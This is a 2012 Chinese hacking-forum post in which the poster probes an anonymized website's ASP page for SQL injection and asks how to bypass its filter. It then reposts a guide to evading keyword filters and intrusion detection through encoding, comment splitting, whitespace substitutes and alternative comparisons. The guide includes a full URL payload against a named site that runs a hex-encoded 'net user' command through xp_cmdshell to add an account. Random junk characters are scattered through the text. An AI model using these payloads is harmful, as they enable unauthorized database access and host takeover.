找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2295|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下., R9 d, ~1 J, h0 [  ]5 G
http://www.xxx.cn/Article.asp?ID=117 and 1=1
7 Q3 i* T; ~+ i' }直接返回主页1 f1 ]# G. [( b: o' s/ R
http://www.xxx.cn/Article.asp?ID=117 or 1=1" k3 h2 m* F. U+ o- g/ n
直接返回主页4 w: G% w0 L: D4 q: O
http://www.xxx.cn/Article.asp?ID=117 or
+ \6 Z+ x. L$ S' q# a9 Y没有返回主页 没有过滤or
; P3 c% ]5 Z  [+ j$ Lhttp://www.xxx.cn/Article.asp?ID=117 and
4 c& M) ^, h( c: n6 H直接返回主页 看来过滤了and
1 p" m* t( @4 Zhttp://www.xxx.cn/Article.asp?ID=117 or 1
" X/ \8 L: e4 j+ a/ i没有返回主页 即没有过滤or 也没有过滤1
8 t3 n4 p) S$ F. V5 Xhttp://www.xxx.cn/Article.asp?ID=117 or 1=17 i( G' v  G- v; c( D( X
直接返回主页 很明显过滤了等号 2 B6 v. t1 U: x1 v& Q- G
or的特性是与and相反的.
$ o& M- k3 k1 ]$ Q% Xor 1=1 爆错 或与原页面不同' [- V8 E$ k: q) W" Y! M  B
or 1=2 原页面相同
3 g' `! o/ ]6 I8 x这样就是一个注入点- o0 _( P! J! b# C& \
但他过滤了=号 我就用><号代替=号吧!
) D  k! P1 o! L, {5 wor 1<2 很明显是正确的,所以应该与原页面不同
. k, u5 ^' k1 P3 Q. F2 d  mor 1>2 很明显是错误的,所以应该与原页面相同/ M) a* a8 _* k8 ?( }
然后看看有没有过滤其他的查询语句,比如select.
! w: v4 }, ^2 shttp://www.xxx.cn/Article.asp?ID=117 select
) g, M6 ~- Q  l直接返回主页4 I7 O! T2 i" }
又迷茫了..
# K4 R, w1 ?! U, I! m/ Q) ]
# V/ e* \9 P# o' }3 Y
' W/ |( E1 l* Tcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗& I; C0 H& x7 _" V/ P5 I
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
4 w0 D0 z/ {3 O0 q8 T8 f================================================
& O* l0 W) {( a: [  w. n4 {以下是转贴:
7 H' ~' U8 U5 @* q4 }" Z8 n/ y9 r5 _3 v( `" F
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
- B- k! q0 s$ r: F9 ?经过我的收集,大部分的防注入程序都过滤了以下关键字: ; p5 G6 f+ }1 Y
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 5 a5 Z- J6 D+ L
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 : Z) m3 h7 V% w
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
/ v( I' W) Y* {: ^# u# R1、运用编码技术绕过 . [: J1 ?5 v) T* l/ V6 e
如URLEncode编码,ASCII编码绕过。例如or 1=1即
4 X4 G' E3 K" g3 g3 N%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
! k8 \& |7 M8 E0 R& B' P
0 M7 j( l5 Y7 k1 V! F2、通过空格绕过
/ q, ~& G- D  X如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
) B, u9 _6 h5 p$ p* ror’ swords’ =‘swords’ % t7 ?# A  Y8 _. l, {/ d
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 7 ^" \9 a% v" M( I# |2 U2 K* [
3、运用字符串判断代替
1 s& c* I4 L  l7 {/ i# Y6 f用经典的or 1=1判断绕过,如   C4 z. \/ H! q7 S8 z
or ’swords’ =’swords’
! v1 |' T% c( g$ a/ _) G,这个方法就是网上在讨论的。 0 L: q' o$ n# A/ I  M8 ]& L+ g& K
4、通过类型转换修饰符N绕过
  M9 q- ?& j4 {7 D& h  q5 a可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
. D% h9 Z; f8 @% G3 q5 V5、通过+号拆解字符串绕过 2 ^& E" J% |- s! H
效果值得考证,但毕竟是一种方法。如 / e& y! m$ l0 y& B( C+ j
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
; A! S. ]4 F4 t$ V9 O) M8 x6 o0 I+ k$ h9 J& E$ \; [! E6 o
6、通过LIKE绕过 6 F) H4 X  ^* j: V7 {1 g
以前怎么就没想到呢?如or
; U2 f' d  }8 M6 n3 p’swords’ LIKE ’sw’ ! u" ^2 F- Z) a* t- u  N
!!!显然可以很轻松的绕过 8 e+ u: Z% ~) V. u+ ?: \" P
“=”“>” # r# S# L0 y7 V; \
的限制……
3 |4 T, A& R' d7、通过IN绕过
1 M# P) `1 _9 P+ {* D) e  x与上面的LIKE的思路差不多,如
; _) U" [% U! @7 o0 Kor ’swords’ IN (’swords’) ( ?8 r2 s& g3 a" h" v

% b5 i7 D( P! e+ h8、通过BETWEEN绕过
* P  @" O8 v2 a- @, i, P1 T" g0 Y6 X/ z$ ~5 H5 L
or ’swords’ BETWEEN ’rw’ AND ’tw’ 5 c% C& T, Z- E& W5 o0 a

: ?4 e/ S: v# o$ A: V9、通过>或者<绕过
/ K6 T" ?; r7 ~( Oor ’swords’ > ’sw’
% g" C1 u4 l/ Q5 Aor ’swords’ < ’tw’ & v- Q/ B2 U- X2 ?$ `( S8 D# S9 Y$ Y7 L
or 1<3 ' _) e0 y0 {4 j7 l& S& }' y
…… & \- G. D6 w" O6 P1 @7 A: u$ Z' o
10、运用注释语句绕过
4 {0 Y/ s) P$ ^! f用/**/代替空格,如: 7 G9 `+ |4 I0 {) a! }1 @
UNION /**/ Select /**/user,pwd,from tbluser % H4 n$ ^6 V* H9 y5 O9 g4 a, c9 s

- {) ?4 |! X" J用/**/分割敏感词,如:
: _3 X' R7 j- Q( y- K: VU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
# I  s  I6 [( P7 {" v$ V8 C9 q8 ?/ y9 ?8 S0 y9 \$ ~7 s
11、用HEX绕过,一般的IDS都无法检测出来 : p, \! m4 }% l3 c
0x730079007300610064006D0069006E00 =hex(sysadmin)
, a+ |' D4 F3 x- \9 p0 e1 |0x640062005F006F0077006E0065007200 =hex(db_owner) 2 y3 f2 Y2 L7 @6 d( }
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: % Q) o' d. r! q5 K
  declare @a sysname
( G( i, |3 G' W6 ]% W9 i3 v* L4 Z  select @a= # R- ]" \# z3 `5 X" \9 s+ X
  exec master.dbo.xp_cmdshell @a
* ^0 D- D6 L# M3 ?效果
- s9 d1 T' \/ V" I" A% y6 ?. M* v3 Whttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 7 I  Q  I: \% e) T$ y

5 p0 z& E. E% E# n' N: K8 Y: T* ?其中的
5 {; z0 f8 q% J' Q& g7 i+ L0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
( X) X; j3 b: n7 ]1 ]+ m( Q3 V就是 % P( j9 M9 _0 f( T/ T
“net user angel pass /add”' I; L2 \/ ~, S

% f" z* t1 Z' X7 F* ^一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
1 B2 q1 ~% C8 Z( M引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。/ F: D1 W* q- K/ }! |! {5 I' P) |3 H
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似. `( b: O' }! ]8 _' o* R% T7 j0 n9 P
Copy code- ~* O1 C- ^6 G6 {  s, u: V- i8 x
select * from table exec xp_cmdshell'xxxxxxxxxx'
" n4 o$ K  r* b/ x: y: P& K# A/ S6 a: z4 f4 T' w. ^
) b+ S' J$ @4 @7 I6 w
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
* M  w' |5 Q$ J" Y2 N! N% S4 M. e, q7 n

3 l% m9 @1 p# Y8 E! E, z! m9 s, \select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
( s( H( z# |+ p* w8 R$ g
7 p: K0 t9 u5 m/ a" U# {- t8 W
  g4 d. n  b7 \' [4 b, _( iselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'% g+ f6 w/ u, s( x5 N
8 e/ ?8 r' P. Q/ k" L- _! {
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
7 h3 s  ^1 E) k
9 {& p0 r1 ~! D2 _2 U6 C: R这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
" ^' I8 B# ?8 ?. m2 \0 C可能大家早就知道了,不管怎么说,发在这里吧!  H1 [  h  [4 v6 R

% j- u4 k) _; p: Z; i" f; K最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
, ^, s8 ]9 _6 }/ H/ M1 _/ r/ z/ A* w1 R# Q; D  }  g

6 `5 T6 A# f5 A% r$ u+ {' r
9 x8 a: Y- Y. z# j8 f' M对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,) J3 B# m0 C7 Y/ o
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ; P7 w+ ]: f* Q( ]$ Y
, c/ f+ k. \4 L  ~. g* ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表